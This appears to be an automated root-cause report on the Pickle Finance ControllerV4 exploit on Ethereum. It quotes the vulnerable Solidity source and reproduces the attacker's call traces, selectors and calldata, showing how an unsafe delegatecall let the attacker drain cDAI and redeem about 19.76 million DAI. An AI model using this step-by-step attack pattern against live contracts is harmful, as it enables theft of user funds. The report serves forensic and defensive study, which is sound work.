Calculated from recorded token losses using historical USD prices at the incident time.
0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b00x6847259b2b3a4c17e7c43c54409810af48ba5210Ethereum0xcd892a97951d46615484359355e3ed88131f829dEthereumOn Ethereum mainnet block 11303123, an unprivileged adversary used Pickle Finance's public ControllerV4.swapExactJarForJar entrypoint to execute approved converter logic with attacker-controlled calldata in the controller's context. The exploit transaction was 0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0, sent by 0xbac8a476b95ec741e56561a66231f92bc88bb3a8 to attacker contract 0x2b0b02ce19c322b4dd55a3949b4fb6e9377f7913.
The root cause was an unsafe delegatecall design in ControllerV4: the controller treated approved jar converters as trusted logic and ran attacker-supplied calldata through delegatecall while custodying protocol assets. That let the attacker steer the approved CurveProxyLogic helper into StrategyBase.withdraw(IERC20), drain the strategy's direct cDAI balance into the controller, route the controller-approved cDAI into attacker custody, redeem it for DAI, and transfer 19759355610698472769099077 wei DAI to 0x70178102aa04c5f0e54315aa958601ec9b7a4e08 in the same transaction.
Pickle jars are vault-like wrappers that hold user deposits and rely on ControllerV4 to manage strategies and jar-to-jar migrations. When a user calls swapExactJarForJar, the controller can pull jar shares from the caller, withdraw or free underlying assets, execute approved conversion helpers, deposit into the destination jar, and then return destination jar shares.
The exploited path specifically depended on the relationship between three public protocol components:
ControllerV4 at 0x6847259b2b3a4c17e7c43c54409810af48ba5210StrategyCmpdDaiV2 at 0xcd892a97951d46615484359355e3ed88131f829dCurveProxyLogic at 0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8StrategyCmpdDaiV2 held DAI exposure through Compound cDAI. That matters because StrategyBase.withdraw(IERC20) is not limited to the strategy's want token; when the caller is the controller, it transfers the entire balance of any non-want asset back to the controller. The verified source shows that behavior directly:
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
require(want != address(_asset), "want");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
The approved helper CurveProxyLogic was also more permissive than a normal swap adapter. Its add_liquidity implementation accepted an arbitrary target contract, arbitrary 4-byte selector, and an underlying token whose balanceOf(address(this)) return value was inserted into the privileged external call payload:
function add_liquidity(
address curve,
bytes4 curveFunctionSig,
uint256 curvePoolSize,
uint256 curveUnderlyingIndex,
address underlying
) public {
uint256 underlyingAmount = IERC20(underlying).balanceOf(address(this));
uint256[] memory liquidity = new uint256[](curvePoolSize);
liquidity[curveUnderlyingIndex] = underlyingAmount;
bytes memory callData = abi.encodePacked(curveFunctionSig, liquidity, uint256(0));
IERC20(underlying).safeApprove(curve, underlyingAmount);
(bool success, ) = curve.call(callData);
require(success, "!success");
}
Those two code paths became dangerous only because the controller executed helper code with delegatecall.
The vulnerability class was a direct protocol attack caused by unsafe delegatecall trust boundaries. ControllerV4.swapExactJarForJar verified only that each converter address was present in approvedJarConverters; it did not constrain the calldata supplied for the approved converter, the downstream target of the helper call, or the semantic relationship between the source and destination jars. After pulling source jar assets into controller custody, it executed each converter through _execute, and _execute used raw delegatecall.
The verified ControllerV4 source shows the critical sequence:
for (uint256 i = 0; i < _targets.length; i++) {
require(_targets[i] != address(0), "!converter");
require(approvedJarConverters[_targets[i]], "!converter");
}
...
for (uint256 i = 0; i < _targets.length; i++) {
_execute(_targets[i], _data[i]);
}
...
function _execute(address _target, bytes memory _data)
internal
returns (bytes memory response)
{
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
0
)
...
}
}
The broken invariant is straightforward: jar-swap helpers should only perform the intended asset transformation and must never gain arbitrary authority over controller-held balances or strategy-only withdrawal paths. The decisive code-level breakpoint was the controller's _execute(delegatecall) into CurveProxyLogic.add_liquidity, because that helper immediately converted attacker-controlled parameters and a spoofed token balance into an unconstrained external call that executed as the controller. Once that happened, StrategyBase.withdraw(IERC20) became callable on any non-want asset held by the strategy, which is exactly how the strategy's cDAI was drained.
The exploit sequence was fully determined by public code and the seed trace. First, the attacker created helper contracts inside the exploit transaction: a malicious source jar, a malicious destination jar, and a malicious token-like contract whose balanceOf(controller) returned the cDAI contract address encoded as a uint256. The transaction metadata shows the exploit call came from 0xbac8... and targeted attacker contract 0x2b0b... with calldata backdoor(address) carrying recipient 0x70178102aa04c5f0e54315aa958601ec9b7a4e08.
The attacker then used swapExactJarForJar twice. The first swap was a priming phase that moved 19728769153362174946836922 wei DAI through the jar path and subsequent pDAI earn() calls to reproduce the strategy state needed for the theft phase. The trace shows the first call directly:
0x6847259b2B3A4c17e7c43C54409810aF48bA5210::swapExactJarForJar(
0x75aA95508F019997aeeE7B721180c80085Abe0F9,
0x02c8364546EC849E1726fb6Cae5228702b111EE6,
19728769153362174946836922,
0,
[],
[]
)
The second swap was the actual exploit. The trace records the controller calling swapExactJarForJar with malicious jar endpoints and a single approved converter target:
0x6847259b2B3A4c17e7c43C54409810aF48bA5210::swapExactJarForJar(
0xa2dA08093a083C78C21AEcA77d6Fc89f3D545AeD,
0xA445e12D69E8BD60290f6935D49Ff39Ba31C6115,
0,
0,
[0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8],
[0x49af32a5...8739c55df8ca529dce060ed43279ea2f2e122122]
)
Inside that call, the approved helper executed in controller context:
0x6186E99D9CFb05E1Fdf1b442178806E81da21dD8::add_liquidity(
0xCd892a97951d46615484359355e3Ed88131f829D,
0x51cff8d9,
1,
0,
0x8739c55DF8cA529dce060ED43279eA2F2e122122
) [delegatecall]
The helper then queried the malicious token's balanceOf(controller), received the cDAI address encoded as a number, and used it to build the external call into the strategy. The resulting trace lines show the exact privileged withdrawal:
0x8739c55DF8cA529dce060ED43279eA2F2e122122::balanceOf(
0x6847259b2B3A4c17e7c43C54409810aF48bA5210
) [staticcall]
→ 532236852761844906399596241454107344303261890115
0xCd892a97951d46615484359355e3Ed88131f829D::withdraw(
CErc20Delegator: [0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643]
)
That withdraw(cDAI) call succeeded because, from the strategy's perspective, msg.sender was the controller. The same trace then shows cDAI moving from the strategy to the controller:
CErc20Delegator::transfer(
0x6847259b2B3A4c17e7c43C54409810aF48bA5210,
95081886482119677
)
emit Transfer(
from: 0xCd892a97951d46615484359355e3Ed88131f829D,
to: 0x6847259b2B3A4c17e7c43C54409810aF48bA5210,
amount: 95081886482119677
)
After that, the controller followed its normal destination-jar deposit logic. Because the destination jar was attacker-controlled, the controller approved it for the entire cDAI balance and then called deposit. The malicious jar used transferFrom to send the approved cDAI to the attacker contract:
CErc20Delegator::approve(
0xA445e12D69E8BD60290f6935D49Ff39Ba31C6115,
95081886482119677
)
0xA445e12D69E8BD60290f6935D49Ff39Ba31C6115::deposit(95081886482119677)
CErc20Delegator::transferFrom(
0x6847259b2B3A4c17e7c43C54409810aF48bA5210,
0x2B0b02ce19c322b4DD55A3949B4Fb6e9377f7913,
95081886482119677
)
Finally, the attacker redeemed the stolen cDAI into DAI and paid out the proceeds:
CErc20Delegator::redeemUnderlying(19759355610698472769099077)
DaiJoin::exit(0x2B0b02ce19c322b4DD55A3949B4Fb6e9377f7913, 19759355610698472769099077)
Dai::mint(0x2B0b02ce19c322b4DD55A3949B4Fb6e9377f7913, 19759355610698472769099077)
Dai::transfer(0x70178102AA04C5f0E54315aA958601eC9B7a4E08, 19759355610698472769099077)
This is why the incident is classified as ACT. Every required ingredient was permissionless: verified public code, the public approved converter list, public strategy state, attacker-deployed helper contracts, and a single standard Ethereum transaction.
The attacker cluster contained one gas-paying EOA (0xbac8...), one exploit contract (0x2b0b...), one final DAI recipient contract (0x7017...), and three helper contracts created during the exploit (0x8739..., 0xa2da..., and 0xa445...). Their roles are all visible in the seed trace and match the roles described in root_cause.json.
The adversary's execution flow was:
backdoor(address) on exploit contract 0x2b0b..., specifying recipient 0x7017....balanceOf(controller).swapExactJarForJar plus three pDAI earn() calls to reproduce the low-direct-cDAI strategy state observed in the incident.transferFrom to move approved cDAI into attacker custody.swapExactJarForJar again with the approved CurveProxyLogic helper and calldata that maps to StrategyBase.withdraw(cDAI).0x7017....The seed balance diff confirms the key asset transition at the strategy level:
{
"token": "0x5d3a536e4d6dbd6114cc1ead35777bab948e3643",
"holder": "0xcd892a97951d46615484359355e3ed88131f829d",
"before": "243528326755754928",
"after": "0",
"delta": "-243528326755754928"
}
The trace explains why the raw balance-diff amount differs from the direct-cDAI tranche stolen in the second half of the attack: the transaction first rebalanced and primed the strategy state, then drained the remaining direct cDAI balance and redeemed it into 19759355610698472769099077 wei DAI. The validated PoC reproduces the same sequence and reaches the same profit value on a mainnet fork.
The measurable realized loss in the exploit transaction was DAI transferred to the attacker-designated recipient:
DAI19759355610698472769099077 wei18That profit was realized in the same transaction after the attacker drained the strategy's direct cDAI balance, moved the cDAI into attacker custody, and redeemed it through Compound. The seed transaction metadata also shows the gas payer spent 3193986500000000000 wei ETH in transaction fees, which does not change the correctness of the exploit predicate because the DAI gain overwhelmingly dominates the gas cost.
The affected public components were Pickle's ControllerV4 custody boundary and StrategyCmpdDaiV2 asset management path. The exploit did not require privileged governance access, private keys, or attacker-side protocol modifications.
0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b00xbac8a476b95ec741e56561a66231f92bc88bb3a80x2b0b02ce19c322b4dd55a3949b4fb6e9377f79130x70178102aa04c5f0e54315aa958601ec9b7a4e080x6847259b2b3a4c17e7c43c54409810af48ba52100xcd892a97951d46615484359355e3ed88131f829d0x6186E99D9CFb05E1Fdf1b442178806E81da21dD80x5d3a536e4d6dbd6114cc1ead35777bab948e36430x6b175474e89094c44da98b954eedeac495271d0f/workspace/session/artifacts/collector/seed/1/0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0/metadata.json/workspace/session/artifacts/collector/seed/1/0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0/trace.cast.log/workspace/session/artifacts/collector/seed/1/0xe72d4e7ba9b5af0cf2a8cfb1e30fd9f388df0ab3da79790be842bfbed11087b0/balance_diff.jsonhttps://etherscan.io/address/0x6847259b2b3a4c17e7c43c54409810af48ba5210#codehttps://etherscan.io/address/0xcd892a97951d46615484359355e3ed88131f829d#codehttps://etherscan.io/address/0x6186E99D9CfB05E1Fdf1b442178806e81da21dd8#code